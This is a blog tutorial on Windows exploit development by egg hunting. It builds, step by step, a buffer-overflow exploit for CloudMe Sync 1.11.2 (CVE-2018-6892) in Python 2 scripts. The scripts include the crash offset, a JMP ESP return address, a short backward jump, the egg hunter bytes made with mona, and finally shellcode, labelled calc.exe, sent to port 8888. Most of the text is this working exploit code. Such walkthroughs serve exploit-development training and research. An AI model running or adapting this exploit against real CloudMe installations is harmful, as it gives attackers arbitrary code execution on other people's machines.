Windows Exploit Development Part IV
Hello everyone. I’m going to talk about Windows Exploit Development Egg Hunting today. This method is a little hard to carry out. http://www.exploit-db.com/exploits/46218 has the final code.
Egg Hunter is a method used to create exploits that can search the whole memory range for a single shellcode and then shift flow to it. But this method is generally used when there isn’t enough room to use a longer shellcode.
What does this egg hunt really do? The egg hunter code looks for a “EGG,” which is a unique 8-byte word made up of two “BOOM.” A “BOOM” is a unique string of 4 bytes. Most of the time, attackers think about using strings like “w00t”, “pwnd”, or any other string that is different enough to look for in memory. A “BOOM” and a “BOOM” are put together to make a “EGG.” This makes the word more unique so that it won’t be found in memory. The EGG is put right before the Shellcode, and the code for the egg hunter is put in the small amount of free buffer space while overflows are used.
The Egg Hunter we’re going to make will use (abuse) a function called NtDisplayString. This is a read-only function that takes a pointer to a string as its only input and displays it.
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NTSYSAPI NTSTATUS NTAPI NtDisplayString(
IN PUNICODE_STRING String
);
Most of the time, the NtDisplayString system call is used to put text on the blue-screen that some people have seen all too often. But an egg hunter takes advantage of it because its only input is a pointer that can only be read from and not written to. This makes it a very good choice. Let’s stop talking about theories and get to work!
I’ll use the CloudMe app in the first part.Let’s use Python to make a POC.
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#######################################################
# Exploit Title: CloudMe Sync v1.11.2 Buffer Overflow + Egghunt
# Date: 23.04.2018
# Exploit Author:T3jv1l
# Vendor Homepage:https://www.cloudme.com/en
# Software: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Category:Local
# Contact:https://twitter.com/T3jv1l
# Version: CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt
# Tested on: Windows 7 SP1 x86
# CVE-2018-6892
# Real exploit https://www.exploit-db.com/exploits/44027 in version 1.11.0
#############################################################
import socket
target="127.0.0.1"
junk="A"*4000
payload1=junk
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload1)
except:
print "Don't Crash Me !"
As usual, we hook up CloudMe to Immunity Debugger and run our proof-of-concept attack.In the picture below, you can see that we’re writing over EIP and that ESP has some of our buffer.
Follow ESP in Dump to see if it is replace!!
Now is time to use mona for create pattern ,because we need to found offset.
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!mona pc 4000 ---> create offset
Edit the POC.
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#######################################################
# Exploit Title: CloudMe Sync v1.11.2 Buffer Overflow + Egghunt
# Date: 23.04.2018
# Exploit Author:T3jv1l
# Vendor Homepage:https://www.cloudme.com/en
# Software: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Category:Local
# Contact:https://twitter.com/T3jv1l
# Version: CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt
# Tested on: Windows 7 SP1 x86
# CVE-2018-6892
# Real exploit https://www.exploit-db.com/exploits/44027 in version 1.11.0
#############################################################
import socket
target="127.0.0.1"
junk="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2F"
payload1=junk
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload1)
except:
print "Don't Crash Me !"
Run POC again and use !mona findmsp for offset.
OK, now that we know the gap is 1052, we’ll break this process into two steps. Payload1 is stage 1, and payload2 is stage 2.
payload1="A"*1052+jmp_esp+BBBB... Let’s try to find JMP ESP or PUSH, then go to the DLL, pick one, and use it. !mona jmp -r esp.
I will chose first address 0x68a98a7b. Edit POC and run again.
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#######################################################
# Exploit Title: CloudMe Sync v1.11.2 Buffer Overflow + Egghunt
# Date: 23.04.2018
# Exploit Author:T3jv1l
# Vendor Homepage:https://www.cloudme.com/en
# Software: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Category:Local
# Contact:https://twitter.com/T3jv1l
# Version: CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt
# Tested on: Windows 7 SP1 x86
# CVE-2018-6892
# Real exploit https://www.exploit-db.com/exploits/44027 in version 1.11.0
#############################################################
import socket
target="127.0.0.1"
junk="A"*1052
jmp="\x7b\x8a\xa9\x68" #0x68a98a7b jmp esp
jmp_back="B"*4
payload1=junk+jmp+jmp_back
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload1)
except:
print "Don't Crash Me !"
Now it’s time to make the opcode for jump -60 bytes. For a short jump, we use 0xEB like in the SEH chain method, but now we need a jump of -60 bytes.
This hex is echivalent with -60 0xC4. Now is time to finish payload1 , we create egg shellcode with mona.py. Keep in mind this shellcode contain 32 bytes! It’s very important to know that!
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!mona egg -t boom
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"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x62\x6f\x6f\x6d\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
Now, let’s use egg shellcode, change POC again. We have 1052-32_egg_shellcode-5B = 1015.
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#######################################################
# Exploit Title: CloudMe Sync v1.11.2 Buffer Overflow + Egghunt
# Date: 23.04.2018
# Exploit Author:T3jv1l
# Vendor Homepage:https://www.cloudme.com/en
# Software: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Category:Local
# Contact:https://twitter.com/T3jv1l
# Version: CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt
# Tested on: Windows 7 SP1 x86
# CVE-2018-6892
# Real exploit https://www.exploit-db.com/exploits/44027 in version 1.11.0
#############################################################
import socket
egg=(
"\x66\x81\xca\xff\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x62\x6f\x6f\x6d\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
target="127.0.0.1"
junk="A"*1015
jmp="\x7b\x8a\xa9\x68" # 0x68a98a7b jmp ebp
jmp_back="\xeb\xc4" # jump -60 bytes
payload1=junk+egg+"B"*5+jmp+jmp_back
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload1)
except:
print "Don't Crash Me !"
Don’t run the script because the egg hunter willuse 100% of the CPU while it searches for an egg that doesn’t exist!!
It’s now time to make payload2. Let’s see what happens when we use again !mona pc 1000 for pattern.
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#######################################################
# Exploit Title: CloudMe Sync v1.11.2 Buffer Overflow + Egghunt
# Date: 23.04.2018
# Exploit Author:T3jv1l
# Vendor Homepage:https://www.cloudme.com/en
# Software: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Category:Local
# Contact:https://twitter.com/T3jv1l
# Version: CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt
# Tested on: Windows 7 SP1 x86
# CVE-2018-6892
# Real exploit https://www.exploit-db.com/exploits/44027 in version 1.11.0
#############################################################
import socket
egg=(
"\x66\x81\xca\xff\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x62\x6f\x6f\x6d\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
target="127.0.0.1"
junk="A"*1015
jmp="\x7b\x8a\xa9\x68" # 0x68a98a7b jmp ebp
jmp_back="\xeb\xc4" # jump -60 bytes
payload1=junk+egg+"B"*5+jmp+jmp_back
payload2="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload1+payload2) #Don't miss to put payload2 here !!!!
except:
print "Don't Crash Me !"
If you see this, it means that we need that egg tag and shellcode, and a code execution will happen. Let’s make last step.
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#######################################################
# Exploit Title: CloudMe Sync v1.11.2 Buffer Overflow + Egghunt
# Date: 23.04.2018
# Exploit Author:T3jv1l
# Vendor Homepage:https://www.cloudme.com/en
# Software: https://www.cloudme.com/downloads/CloudMe_1112.exe
# Category:Local
# Contact:https://twitter.com/T3jv1l
# Version: CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt
# Tested on: Windows 7 SP1 x86
# CVE-2018-6892
# Real exploit https://www.exploit-db.com/exploits/44027 in version 1.11.0
#############################################################
import socket
egg=(
"\x66\x81\xca\xff\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x62\x6f\x6f\x6d\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7")
target="127.0.0.1"
junk="A"*1015
jmp="\x7b\x8a\xa9\x68" # 0x68a98a7b jmp ebp
jmp_back="\xeb\xc4" # jump -60 bytes
#Shellcode calc.exe
buf = ""
buf +="\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
buf +="\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
buf +="\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
buf +="\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
buf +="\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
buf +="\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
buf +="\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
buf +="\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
buf +="\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
buf +="\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
buf +="\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
buf +="\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
buf +="\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
buf +="\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
buf +="\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
buf +="\xc4\xd9"
payload1=junk+egg+"B"*5+jmp+jmp_back
payload2="boomboom" + buf #here is egg tag boomboom and shellcode
try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,8888))
s.send(payload1+payload2)
except:
print "Don't Crash Me !"
Run the POC.
This post is licensed under CC BY 4.0 by the author.